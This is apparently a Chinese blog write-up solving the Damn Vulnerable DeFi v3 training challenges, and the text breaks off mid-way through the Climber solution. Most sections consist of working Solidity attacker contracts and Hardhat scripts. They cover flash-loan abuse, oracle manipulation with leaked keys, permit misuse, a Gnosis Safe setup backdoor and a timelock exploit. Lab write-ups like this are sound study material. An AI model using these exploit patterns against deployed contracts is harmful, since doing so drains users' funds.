区块链安全-Damn_Vulnerable_DeFi
- 前言
- 1. Unstoppable
- 2. Naive receiver
- 3. Truster
- 4. Side Entrance
- 5.The Rewarder
- 6. Selfie
- 7. Compromised
- 8. Puppet
- 9. Puppet – V2
- 10. Free Rider
- 11. Backdoor
- 12. Climber
- 13. Wallet-mining
- 14. Puppet – V3
- 15 ABI-Smuggling
- 总结
前言
很抱歉,很久没有更新了。这段时间,经历了孩子出生、出国执行项目等诸多事情,心里也比较乱,也没有思绪去完成挑战。最近总算闲下来了,不过打开一看,发现[Damn-Vulnerable-DeFi]已经执行到v3.0.0了,很多东西都发生了变化,为什么不重头做一下呢?不过这次我可能会比较直接,直接贴代码、解释原理把!欢迎一起交流!
1. Unstoppable
在test/unstoppable/unstoppable.challenge.js中,相关代码如下:
it('Execution', async function () {/** CODE YOUR SOLUTION HERE */console.log(await vault.totalAssets());console.log(await vault.totalSupply());await token.connect(player).transfer(vault.address,1);console.log(await vault.totalAssets());console.log(await vault.totalSupply());});
原因是因为在UnstoppableVault.sol中调用flashLoan
函数,这里有一个先决条件,即if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance();
再看balanceBefore
就是totalAssets
即通过asset.balanceOf(address(this));
查询的到的余额。而convertToShare(totalSupply)
呢?totalSupply
来源于UnstoppableVault is IERC3156FlashLender, ReentrancyGuard, Owned, ERC4626
中的ERC626
,因为abstract contract ERC4626 is ERC20
,所以ERC20
中的totalSupply
就是我们要找的。
但是,实际的assets
合约和Vault
仓库的token
又不算完全一样。asset
是资产底层通证,而share
就是股权通证,在本合约中是1:1兑换的,share
的增发受严格控制,只能当用户存入asset
资产底层通证时才能调用_mint
函数,当用户取出时则会_burn
。
因为是convertToShares(totalSupply)
,当资产通证和合约股权通证严格相等时,totalSupply.mulDivDown(totalSupply, totalAssets())
就会依然等同于totalAssets()
。但由于股权通证的增发仅由deposit
函数引起,因此我们直接调用token.transfer
不会引起股权通证的变化,两者不再相等,从而该等式无法成立。
结果如下:
BigNumber { value: "1000000000000000000000000" } -> totalAssets(前)BigNumber { value: "1000000000000000000000000" } -> totalSupply(前)BigNumber { value: "1000000000000000000000001" } -> totalAssets(后)BigNumber { value: "1000000000000000000000000" } -> totalSupply(后)
2. Naive receiver
解决思路:
考虑到在NaiveReceiverLenderPool
中,采用FIXED_FEE
,有
uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan
也就是说无论怎么样,都必须支付1ether的手续费用。所以我们只要借款10次,就能很轻易的掏空了。
因此,在test/naive-receiver/naive-receiver.challenge.js
中,关键部分如下:
it('Execution', async function () {/** CODE YOUR SOLUTION HERE */for (i=0; i<10; i++){await pool.connect(player).flashLoan(receiver.address,"0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE",1,"0x");}});
注意,因为最后要传入bytes,所以必须加上”0x”,否则不符合格式则会报错。
3. Truster
解决思路:
考虑到在TrusterLenderPool.sol
中,闪电贷函数flashLoan
里有两种类型的地址,borrower
与target
,同时还调用了target
中的functionCall方法
。我们实际上没有必要去在闪电贷过程中就转移所有通证,只要通过functionCall
获取后续攻击的权限即可。
因此,在test/truster/truster.challenge.js
中,关键部分如下:
it('Execution', async function () {/** CODE YOUR SOLUTION HERE */const calldata = token.interface.encodeFunctionData("approve",[player.address,TOKENS_IN_POOL]);await pool.connect(player).flashLoan(0,player.address,token.address,calldata);await token.connect(player).transferFrom(pool.address,player.address,TOKENS_IN_POOL);});
我们构造了calldata,目的是使得pool作为msg.sender主动调用token合约中的approve,并授权给player所有通证的权限。同时我们用了0个通证的闪电贷并实现了授权,成功掏空了合约中的通证。
4. Side Entrance
解决思路:
在SideEntranceLenderPool.sol
中,SideEntranceLenderPool
既提供了闪电贷功能,又提供了存入功能,这个则是“灾难的”。在闪电贷中,借入和归还都是通过transfer进行的,并没有对相关手段作出特别的校验,最终只会通过if (address(*this*).balance < balanceBefore)
进行余额上的检查。但如果合约又同时提供了存入、取出却没有进行任何限制,攻击者通过deposit
也能绕过flashLoan
的验证,同时还能在之后通过withdraw
进行提取。
我们需要手写合约,具体如下:
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "./SideEntranceLenderPool.sol";contract Hacker{SideEntranceLenderPool pool;address owner;uint constant AMOUNT = 1000 * 10**18;constructor (address _pool) {pool = SideEntranceLenderPool(_pool);owner = msg.sender;}function attack() public{pool.flashLoan(AMOUNT);}function execute() public payable{pool.deposit{value:msg.value}();}function withdraw() public {pool.withdraw();}receive() external payable {payable(owner).transfer(msg.value);}}
在test/side-entrance/side-entrance.challenge.js
中,具体代码如下:
it('Execution', async function () {/** CODE YOUR SOLUTION HERE */const hacker = await (await ethers.getContractFactory('Hacker', player)).deploy(pool.address);await hacker.attack();await hacker.withdraw();});
5.The Rewarder
解决思路:
首先要弄明白,这个快照的是如何实现的。
AccountingToken
的介绍是A limited pseudo-ERC20 token to keep track of deposits and withdrawals with snapshotting capabilities
,这是通过继承ERC20Snapshot
实现的。
后者定义了一个结构
struct Snapshots {uint256[] ids;uint256[] values;}
并通过 mapping(address => Snapshots) private _accountBalanceSnapshots;
去存储余额,在每次操作时,都会通过_updateAccountSnapshot
和_updateTotalSupplySnapshot
去更新对应快照id下的余额。
而这个又是如何触发分红的呢,为什么不直接按照余额来?
TheRewarderPool
触发分红是通过distributeRewards
进行(注意是在mint
后进行),当满足isNewRewardsRound
(可开展新一轮分红后),就根据余额进行分红。
我们的思路就是通过闪电贷,触发分红(要在相关时间后第一个发起交易),随后取出并归还。
我们需要手写合约,具体如下(为简便起见,不导入,直接用abi.encodeWithSignature):
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "@openzeppelin/contracts/utils/Address.sol";contract HackerRewarder {using Address for address;address pool;address flashLoan;address token;address reward;address owner;constructor(address _pool,address _flashLoan, address _token, address _reward ) {pool = _pool;flashLoan = _flashLoan;token = _token;reward = _reward;owner = msg.sender;}function attack(uint amount) external {flashLoan.functionCall(abi.encodeWithSignature("flashLoan(uint256)", amount));}function receiveFlashLoan(uint256 amount) external {token.functionCall(abi.encodeWithSignature("approve(address,uint256)",pool,amount));pool.functionCall(abi.encodeWithSignature("deposit(uint256)", amount));pool.functionCall(abi.encodeWithSignature("withdraw(uint256)", amount));token.functionCall(abi.encodeWithSignature("transfer(address,uint256)",flashLoan,amount));reward.functionCall(abi.encodeWithSignature("approve(address,uint256)",owner,100 ether));}}
在test/the-rewarder/the-rewarder.challenge.js
中,具体代码如下:
it('Execution', async function () {/** CODE YOUR SOLUTION HERE */const hacker = await ethers.getContractFactory('HackerRewarder', player);const hackerRewarder = await hacker.deploy(rewarderPool.address, flashLoanPool.address, liquidityToken.address, rewardToken.address);await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 daysawait hackerRewarder.connect(player).attack(TOKENS_IN_LENDER_POOL);const hackedReward = await rewardToken.balanceOf(hackerRewarder.address);await rewardToken.connect(player).transferFrom(hackerRewarder.address,player.address,hackedReward);});
其中,要记得通过evm_increaseTime
将时间调整5天以达成分红的条件!
6. Selfie
解决思路:
首先我们要看一下攻击的入口很明显是SelfiePool.sol
中的emergencyExit
,但有一个onlyGovernance
的限制。
我们看治理合约里,可以提出提案queueAction
,但前提是_hasEnoughVotes(msg.sender)
,然而之后2 days
后,执行通过的合约就不需要再次校验了!
所以我们可以利用闪电贷发起提案,2天后执行就好!
我们需要手写合约,具体如下(为简便起见,不导入,直接用abi.encodeWithSignature):
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "@openzeppelin/contracts/utils/Address.sol";contract HackerSelfie {using Address for address;address flashLoan;address govern;address token;address owner;uint256 public requestId;bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");constructor(address _flashLoan,address _govern, address _token){flashLoan = _flashLoan;govern = _govern;token = _token;owner = msg.sender;}function attack(uint256 amount) public{flashLoan.functionCall(abi.encodeWithSignature("flashLoan(address,address,uint256,bytes)",address(this),token,amount,""));}function onFlashLoan(address initiator,address _token,uint256 amount,uint256 fee,bytes calldata data) external returns (bytes32){token.functionCall(abi.encodeWithSignature("snapshot()"));bytes memory response = govern.functionCall(abi.encodeWithSignature("queueAction(address,uint128,bytes)", flashLoan,0,abi.encodeWithSignature("emergencyExit(address)", owner)));requestId = abi.decode(response,(uint256));token.functionCall(abi.encodeWithSignature("approve(address,uint256)",flashLoan,amount+fee));return CALLBACK_SUCCESS;}}
此处注意,为了保证,手动对token
进行了快照!
在test/the-rewarder/the-rewarder.challenge.js
中,具体代码如下:
it('Execution', async function () {/** CODE YOUR SOLUTION HERE */const hacker =await (await ethers.getContractFactory('HackerSelfie', player)).deploy(pool.address,governance.address,token.address);await hacker.connect(player).attack(await pool.maxFlashLoan(token.address));await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]); // 2 daysawait governance.executeAction(await hacker.requestId());});
7. Compromised
解决思路:
涉及到“喂价”,一定就回到了操纵预言机攻击。那我们来看看捕捉到的信息:
4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35
,两个16进制(1 byte => 8位)对应ASCII码。
解析为ASCII,为MHhjNjc4ZWYxYWE0NTZkYTY1YzZmYzU4NjFkNDQ4OTJjZGZhYzBjNmM4YzI1NjBiZjBjOWZiY2RhZTJmNDczNWE5
,很明显这个是base64
加密后的结果,解密为0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9
。
同样,我们还可以获得0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48
。
我们使用如下代码进行验证:
const priKey1 = "0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9";const priKey2 = "0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48";const oracle1 = new ethers.Wallet(priKey1);const oracle2 = new ethers.Wallet(priKey2);console.log(oracle1.address);console.log(oracle2.address);
输出结果如下:
0xe92401A4d3af5E446d93D11EEc806b1462b39D150x81A5D6E50C214044bE44cA0CB057fe119097850c
而这个正好就是喂价机的地址。接下来就是通过操纵预言机进行获利了。由合约Exchange.sol
可知,buyOne
和SellOne
都依赖于getMedianPrice
,即通过中位数定价。
it('Execution', async function () {/** CODE YOUR SOLUTION HERE */const priKey1 = "0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9";const priKey2 = "0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48";const oracle1 = new ethers.Wallet(priKey1,ethers.provider);const oracle2 = new ethers.Wallet(priKey2,ethers.provider);console.log(oracle1.address);console.log(oracle2.address);const tx1 = {to: oracle1.address,value: ethers.utils.parseEther('0.02'),gasLimit: 21000,gasPrice: ethers.utils.parseUnits('10', 'gwei'),};const tx2 = {to: oracle2.address,value: ethers.utils.parseEther('0.02'),gasLimit: 21000,gasPrice: ethers.utils.parseUnits('10', 'gwei'),}; await player.sendTransaction(tx1);await player.sendTransaction(tx2);await oracle.connect(oracle1).postPrice('DVNFT',ethers.utils.parseEther('0.0001'));await oracle.connect(oracle2).postPrice('DVNFT',ethers.utils.parseEther('0.0001'));const id = await exchange.connect(player).callStatic.buyOne({value:ethers.utils.parseEther('0.0001')});await exchange.connect(player).buyOne({value:ethers.utils.parseEther('0.0001')});const price = await ethers.provider.getBalance(exchange.address);await oracle.connect(oracle1).postPrice('DVNFT',price);await oracle.connect(oracle2).postPrice('DVNFT',price);await nftToken.connect(player).approve(exchange.address,id);await exchange.connect(player).sellOne(id);await oracle.connect(oracle1).postPrice('DVNFT',INITIAL_NFT_PRICE);await oracle.connect(oracle2).postPrice('DVNFT',INITIAL_NFT_PRICE);});
注意以下几点:
提前给预言机器oracle1、oracle2转账
通过callStatic模拟执行结果,提前获取id
或者使用
const tx3 = await exchange.connect(player).buyOne({value:ethers.utils.parseEther('0.0001')});const receipt = await tx3.wait();const id =await receipt.events[1].args.tokenId;
结束以后将价格改回来
8. Puppet
解决思路:
要通过质押取出所有的通证,结果很简单,就是先“砸盘”,再存入并借款(通常情况下,又需要买回原来的“砸盘”保证筹码不失)。
如果仅由分步进行:
it('Execution', async function () {/** CODE YOUR SOLUTION HERE */await token.connect(player).approve(uniswapExchange.address,PLAYER_INITIAL_TOKEN_BALANCE);await uniswapExchange.connect(player).tokenToEthSwapInput(PLAYER_INITIAL_TOKEN_BALANCE,1,(await ethers.provider.getBlock('latest')).timestamp * 2, // deadline);const valueDeposit = await lendingPool.callStatic.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE);await lendingPool.connect(player).borrow(POOL_INITIAL_TOKEN_BALANCE,player.address,{value:valueDeposit});await uniswapExchange.connect(player).ethToTokenSwapOutput(PLAYER_INITIAL_TOKEN_BALANCE,(await ethers.provider.getBlock('latest')).timestamp * 3, // deadline{value : UNISWAP_INITIAL_ETH_RESERVE + 1n});});
然而,这不满足要求 // expect(await ethers.provider.getTransactionCount(player.address)).to.eq(1);
将攻击分成好几步,一次一次来,是不是觉得MEV看不到?所以这里还需要将以上步骤都打包,通过合约进行,并在合约创建过程中完成。这里就有一个问题了:approve
操作该怎么办,能一步完成吗?
查询了一下所用的ERC20,里面多了一个函数permit
:
/*// EIP-2612 LOGIC//*/function permit(address owner,address spender,uint256 value,uint256 deadline,uint8 v,bytes32 r,bytes32 s) public virtual {require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");// Unchecked because the only math done is incrementing// the owner's nonce which cannot realistically overflow.unchecked {address recoveredAddress = ecrecover(keccak256(abi.encodePacked("\x19\x01",DOMAIN_SEPARATOR(),keccak256(abi.encode(keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"),owner,spender,value,nonces[owner]++,deadline)))),v,r,s);require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");allowance[recoveredAddress][spender] = value;}emit Approval(owner, spender, value);
通过组合检查用户签名等同于Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)...
可以实现代授权功能,这个感觉有点危险。。
那就写攻击合约吧:
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "@openzeppelin/contracts/utils/Address.sol";import "hardhat/console.sol";contract HackerPuppet {using Address for address;constructor(address token,address pool,address swap,uint8 v, bytes32 r, bytes32 s,uint256 playerToken,uint256 poolToken) payable {token.functionCall(abi.encodeWithSignature("permit(address,address,uint256,uint256,uint8,bytes32,bytes32)",msg.sender,address(this),type(uint256).max,type(uint256).max,v,r,s));token.functionCall(abi.encodeWithSignature("transferFrom(address,address,uint256)",msg.sender,address(this),playerToken));bytes memory ans = token.functionCall(abi.encodeWithSignature("balanceOf(address)",address(this)));console.log("after transfering...");console.log(abi.decode(ans,(uint256)));console.log("before swapping");console.log(address(this).balance);token.functionCall(abi.encodeWithSignature("approve(address,uint256)",swap,playerToken));swap.call(abi.encodeWithSignature("tokenToEthSwapInput(uint256,uint256,uint256)", playerToken,1,type(uint256).max));console.log("after swapping");console.log(address(this).balance);(bool suc, bytes memory response) = pool.staticcall(abi.encodeWithSignature("calculateDepositRequired(uint256)", poolToken));console.log(suc);uint256 requiredETH = abi.decode(response,(uint256));console.log("requiredETH");console.log(requiredETH);pool.functionCallWithValue(abi.encodeWithSignature("borrow(uint256,address)", poolToken, msg.sender),requiredETH);swap.functionCallWithValue(abi.encodeWithSignature("ethToTokenSwapOutput(uint256,uint256)", playerToken,type(uint256).max),10 ether + 1);token.functionCall(abi.encodeWithSignature("transfer(address,uint256)",msg.sender,playerToken));payable(msg.sender).transfer(address(this).balance);}receive() external payable {}}
我们逐步来解析,以下通过permit完成在合约中的代授权并转账(其实我觉得在攻击时,这一步能拆开)
token.functionCall(abi.encodeWithSignature("permit(address,address,uint256,uint256,uint8,bytes32,bytes32)",msg.sender,address(this),type(uint256).max,type(uint256).max,v,r,s));token.functionCall(abi.encodeWithSignature("transferFrom(address,address,uint256)",msg.sender,address(this),playerToken));
以下approve完成通证授权给swap,并通过swap实现“砸盘”
token.functionCall(abi.encodeWithSignature("approve(address,uint256)",swap,playerToken));swap.call(abi.encodeWithSignature("tokenToEthSwapInput(uint256,uint256,uint256)", playerToken,1,type(uint256).max));
以下则通过质押进行borrow,并在同一笔交易内将“砸盘”的筹码买回!
(bool suc, bytes memory response) = pool.staticcall(abi.encodeWithSignature("calculateDepositRequired(uint256)", poolToken));console.log(suc);uint256 requiredETH = abi.decode(response,(uint256));console.log("requiredETH");console.log(requiredETH);pool.functionCallWithValue(abi.encodeWithSignature("borrow(uint256,address)", poolToken, msg.sender),requiredETH);swap.functionCallWithValue(abi.encodeWithSignature("ethToTokenSwapOutput(uint256,uint256)", playerToken,type(uint256).max),10 ether + 1);
合约创建如test/puppet/puppet.challenge.js
,先通过getContractAddress
实现合约地址预先计算以实现签名,然后通过部署完成攻击!
it('Execution', async function () {/** CODE YOUR SOLUTION HERE */const hacker = ethers.utils.getContractAddress({from: player.address,nonce: 0 });console.log("hackerAddress : " + hacker);console.log("swap : " + uniswapExchange.address);const { r, s, v } = await signERC2612Permit(ethers.provider,token.address,player.address,hacker,);await (await ethers.getContractFactory('HackerPuppet', player)).deploy(token.address,lendingPool.address,uniswapExchange.address,v,r,s,PLAYER_INITIAL_TOKEN_BALANCE,POOL_INITIAL_TOKEN_BALANCE,{value: 200n * 10n ** 17n,gasLimit: '30000000',});console.log(await token.balanceOf(hacker));});
9. Puppet – V2
解决思路:
这里是Uniswap V2,与之前的区别在于使用了UniswapRouter
进行了中继,所以我们不会再直接与pair
进行交互,而是依靠Router
。
思路还是一样的,先将token
转变为weth
,并将eth
转变为weth
以完成质押存入mint weth
(否则数量不够)。这一题反而没有单笔交易内完成的相关限制,有点奇怪。
具体代码如下:
it('Execution', async function () {/** CODE YOUR SOLUTION HERE */await token.connect(player).approve(uniswapRouter.address,PLAYER_INITIAL_TOKEN_BALANCE);console.log("before swapping, token : "+await token.balanceOf(player.address));console.log("before swapping, weth : "+await weth.balanceOf(player.address));await uniswapRouter.connect(player).swapExactTokensForTokens(PLAYER_INITIAL_TOKEN_BALANCE,1,[token.address,weth.address],player.address,(await ethers.provider.getBlock('latest')).timestamp * 3,);console.log("after swapping, token : "+await token.balanceOf(player.address));console.log("after swapping, weth : "+await weth.balanceOf(player.address));const stakeAmount = await lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE);const beforeDeposit = await weth.balanceOf(player.address);const valueToDeposit = BigNumber(stakeAmount - beforeDeposit);await weth.connect(player).deposit({value : valueToDeposit.toString()});console.log("current : "+ await weth.balanceOf(player.address));await weth.connect(player).approve(lendingPool.address,stakeAmount);await lendingPool.connect(player).borrow(POOL_INITIAL_TOKEN_BALANCE);});
10. Free Rider
解决思路:
进入点类似于重入攻击,只要凑齐15
ETH,就可以通过buyMany
的漏洞批量完成了。然而我们起始只有0.1个,该怎么办?这也呼应了题目中的If only you could get free ETH, at least for an instant.
一开始疑惑了好一会,突然明白了,因为部署了Uniswap V2
,所以我们可以利用FlashLoan(Flash Swap)
实现一次性攻击。
其实这里面漏洞有两个:
- msg.value可重入 批量购买
- 将购买金额发送给nft所有者是在变更所有权后
以下是攻击合约:
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "@openzeppelin/contracts/utils/Address.sol";import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";import "hardhat/console.sol";contract HackerFreeRider is IERC721Receiver{using Address for address;// borrow ethuint256 borrowAmount = 15 ether;address pair;address weth;address exchange;address nft;address reward;address owner;constructor(address _pair,address _weth,address _exchange,address _nft,address _reward){pair = _pair;weth = _weth;exchange = _exchange;nft = _nft;reward = _reward;owner = msg.sender;}function attack() public {pair.functionCall(abi.encodeWithSignature("swap(uint256,uint256,address,bytes)",borrowAmount,0,address(this),"1"));}function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) public{console.log("calling back");bytes memory wethBorrowed = weth.functionCall(abi.encodeWithSignature("balanceOf(address)",address(this)));console.log(abi.decode(wethBorrowed,(uint256)));console.log("successfully borrowed ...");weth.functionCall(abi.encodeWithSignature("withdraw(uint256)",abi.decode(wethBorrowed,(uint256))));console.log(address(this).balance);uint[] memory arr = new uint[](6);for (uint i = 0; i<6; i++){arr[i] = i;}exchange.functionCallWithValue(abi.encodeWithSignature("buyMany(uint256[])", arr),abi.decode(wethBorrowed,(uint256)));for (uint i = 0; i < 6; i++){nft.functionCall(abi.encodeWithSignature("safeTransferFrom(address,address,uint256,bytes)",address(this),reward,i,abi.encode(address(this))));}console.log("eth ", address(this).balance);uint mintback = borrowAmount * 1000 / 997 + 1 ether;weth.functionCallWithValue(abi.encodeWithSignature("deposit()"),mintback);console.log("after mint back ");console.log("eth ", address(this).balance);weth.functionCall(abi.encodeWithSignature("transfer(address,uint256)",pair,mintback));payable(owner).transfer(address(this).balance);console.log("finish...");}receive() payable external {console.log("receiving ...");console.log(msg.value);console.log(address(this).balance);}function onERC721Received(address, address, uint256 _tokenId, bytes memory _data)externaloverridereturns (bytes4) {console.log("receving : ", _tokenId);return IERC721Receiver.onERC721Received.selector;}}
在attack
函数中,调用
pair.functionCall(abi.encodeWithSignature("swap(uint256,uint256,address,bytes)",borrowAmount,0,address(this),"1"));
通过uniswapV2Call
接受回调,实现转为ETH,购买NFT,获取奖励,铸造WETH,归还闪电贷。同时记得要实现onERC721Received
以接受NFT。
在test/free-rider/free-rider.challenge.js
中,代码如下:
it('Execution', async function () {/** CODE YOUR SOLUTION HERE */hacker = await (await ethers.getContractFactory('HackerFreeRider', player)).deploy(uniswapPair.address,weth.address,marketplace.address,nft.address,devsContract.address);hacker.connect(player).attack();});
11. Backdoor
首先:Gnosis Safe是一个开源的多签名钱包,旨在为用户提供更高的安全性和更好的用户体验。它允许用户管理数字资产,并使用多重签名保护其资产。这介绍了相关背景。
因为一开始做就了限制:
msg.sender != walletFactory
所以我们还是要先与walletProxyFactory进行交互,所以我们看看有哪些利用点。
观察createProxyWithCallback
调用了createProxyWithNonce
,同时执行以下:
assembly {if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {revert(0, 0)}}
这会调用proxy
的fallback
函数,最终通过delegateCall执行calldata中的逻辑。
fallback() external payable {// solhint-disable-next-line no-inline-assemblyassembly {let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0sif eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {mstore(0, _singleton)return(0, 0x20)}calldatacopy(0, 0, calldatasize())let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)returndatacopy(0, 0, returndatasize())if eq(success, 0) {revert(0, returndatasize())}return(0, returndatasize())}}
在这里,又由于限制,我们可以直接将singleton
指向攻击函数,并在这里执行操作,由于调用发生在之前,所以我们可以预先通过approve
等方法完成预先授权。但由于需要调用Setup
完成对钱包的设置,所以我们将调用approve
的操作delegate
放在setup
的data
变量中,最终会在setupModule
中通过 require(execute(to, 0, data, Enum.Operation.DelegateCall, gasleft()), "GS000");
执行。所以我们传入的initializer
应该是setup
经过decode后的结果。
先写攻击合约,这里有一个大坑。。(我一开始将 function delegateApprove(address token, address spender) external
写在HackerBackDoor合约内,但是因为还是在创建阶段,所以无法调用。所以后来我写在一个子合约内)。因为每次owner
只能有一个人,所以我们被迫通过循环实现。
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "@openzeppelin/contracts/utils/Address.sol";import "hardhat/console.sol";import "@openzeppelin/contracts/token/ERC20/IERC20.sol";import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol";import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxy.sol";import "@gnosis.pm/safe-contracts/contracts/proxies/IProxyCreationCallback.sol";contract CB{constructor(){}function delegateApprove(address token, address spender) external{console.log("delegate coming in");token.call(abi.encodeWithSignature("approve(address,uint256)",spender,type(uint256).max - 1));}}contract HackerBackdoor {using Address for address;address placeholder1;address placeholder2;IERC20 tokenDVT;constructor(address[] memory users,address factory,address token,address wallet,address singleton){tokenDVT = IERC20(token);CB cb = new CB();GnosisSafeProxyFactory fac = GnosisSafeProxyFactory(factory);console.log("performing attack by ",address(this));for (uint i = 0; i < users.length; i++){console.log("user ",users[i]);address[] memory user2call = new address[](1);user2call[0] = users[i];bytes memory tmp = abi.encodeWithSignature("delegateApprove(address,address)",token,address(this));bytes memory data = abi.encodeWithSignature("setup(address[],uint256,address,bytes,address,address,uint256,address)",user2call,1, // thresholdcb,tmp,address(0),address(0),0,address(0));GnosisSafeProxy proxyAddr = fac.createProxyWithCallback(singleton, data, 0, IProxyCreationCallback(wallet));console.log("proxy ", address(proxyAddr));console.log("dvt balance ",tokenDVT.balanceOf(address(proxyAddr)));tokenDVT.transferFrom(address(proxyAddr), msg.sender, 10 ether);}}}
根据以上原理,见test/backdoor/backdoor.challenge.js
,我们成功在一笔交易内完成获取。
it('Execution', async function () {/** CODE YOUR SOLUTION HERE */const hacker = await (await ethers.getContractFactory('HackerBackdoor', player)).deploy(users,walletFactory.address,token.address,walletRegistry.address,masterCopy.address,{gasLimit: '30000000'});});
PS. 我发现调试时尽量通过interface导入后调用,之前是为了合约的简洁(如果思路清晰的话没问题)。
12. Climber
解决思路:
在ClimberTimeLock
的execute
函数中,由于先执行操作,然后再通过getOperationState(id) != OperationState.ReadyForExecution
校验,形成了典型的“先上车后买票”的进入点。
但由于我们执行时,得一步一步执行,因为执行时msg.sender
就是ClimberTimeLock
本身。我们会从Admin_ROLE
开始,逐步提权。
我们首先列出需要做的事情:
- updateDelay 改为 0
- 分配给特定角色
PROPOSER_ROLE
以能够实现提案 - 实现升级以取消相关限制
- 完成提款
- 提交提案
所以我们先写出来攻击的合约吧,需要在同一笔交易内完成(创建合约可以提前)。
升级合约本身没什么特别的,就是在原先基础上去掉了一些限制:
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";import "@openzeppelin/contracts/token/ERC20/IERC20.sol";import "solady/src/utils/SafeTransferLib.sol";import "./ClimberTimelock.sol";import {WITHDRAWAL_LIMIT, WAITING_PERIOD} from "./ClimberConstants.sol";import {CallerNotSweeper, InvalidWithdrawalAmount, InvalidWithdrawalTime} from "./ClimberErrors.sol";/** * @title ClimberVault * @dev To be deployed behind a proxy following the UUPS pattern. Upgrades are to be triggered by the owner. * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */contract ClimberVault is Initializable, OwnableUpgradeable, UUPSUpgradeable {uint256 private _lastWithdrawalTimestamp;address private _sweeper;modifier onlySweeper() {if (msg.sender != _sweeper) {revert CallerNotSweeper();}_;}/// @custom:oz-upgrades-unsafe-allow constructorconstructor() {_disableInitializers();}function initialize(address admin, address proposer, address sweeper) external initializer {// Initialize inheritance chain__Ownable_init();__UUPSUpgradeable_init();// Deploy timelock and transfer ownership to ittransferOwnership(address(new ClimberTimelock(admin, proposer)));_setSweeper(sweeper);_updateLastWithdrawalTimestamp(block.timestamp);}// Allows the owner to send a limited amount of tokens to a recipient every now and thenfunction withdraw(address token, address recipient, uint256 amount) external onlyOwner {// Cancel AnyRestrictionsSafeTransferLib.safeTransfer(token, recipient, IERC20(token).balanceOf(address(this)));}// Allows trusted sweeper account to retrieve any tokensfunction sweepFunds(address token) external onlySweeper {SafeTransferLib.safeTransfer(token, _sweeper, IERC20(token).balanceOf(address(this)));}function getSweeper() external view returns (address) {return _sweeper;}function _setSweeper(address newSweeper) private {_sweeper = newSweeper;}function getLastWithdrawalTimestamp() external view returns (uint256) {return _lastWithdrawalTimestamp;}function _updateLastWithdrawalTimestamp(uint256 timestamp) private {_lastWithdrawalTimestamp = timestamp;}// By marking this internal function with `onlyOwner`, we only allow the owner account to authorize an upgradefunction _authorizeUpgrade(address newImplementation) internal override onlyOwner {}}
同时,我发现不能直接将propose
动作打包进去,因为会有一个循环依赖的过程(我生我自己),所以需要推举攻击合约为proposer
,并通过call
让攻击合约提案。
攻击合约如下,其实写的有点啰嗦,生成payload
的过程是可以放一起的。但就这样吧!
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "./ClimberTimelock.sol";import "hardhat/console.sol";import {ADMIN_ROLE, PROPOSER_ROLE, MAX_TARGETS, MIN_TARGETS, MAX_DELAY} from "./ClimberConstants.sol";contract HackerClimber {ClimberTimelock timeClock;address upgrade;address vault;address token;address owner;constructor(address _target,address _upgrade,address _vault,address _token){timeClock = ClimberTimelock(payable(_target));upgrade = _upgrade;vault = _vault;token = _token;owner = msg.sender;}function attack() public{console.log( timeClock.delay() );address[] memory targets = new address[](5);uint[] memory values = new uint[](5);bytes[] memory calldatas = new bytes[](5);targets[0] = address(timeClock);values[0] = 0;calldatas[0] = abi.encodeWithSignature("grantRole(bytes32,address)",PROPOSER_ROLE,address(this));targets[1] = address(timeClock);values[1] = 0;calldatas[1] = abi.encodeWithSignature("updateDelay(uint64)",0);targets[2] = vault;values[2] = 0;calldatas[2] = abi.encodeWithSignature("upgradeTo(address)",upgrade);targets[3] = address(this);values[3] = 0;calldatas[3] = abi.encodeWithSignature("attack2()");targets[4] = vault;values[4] = 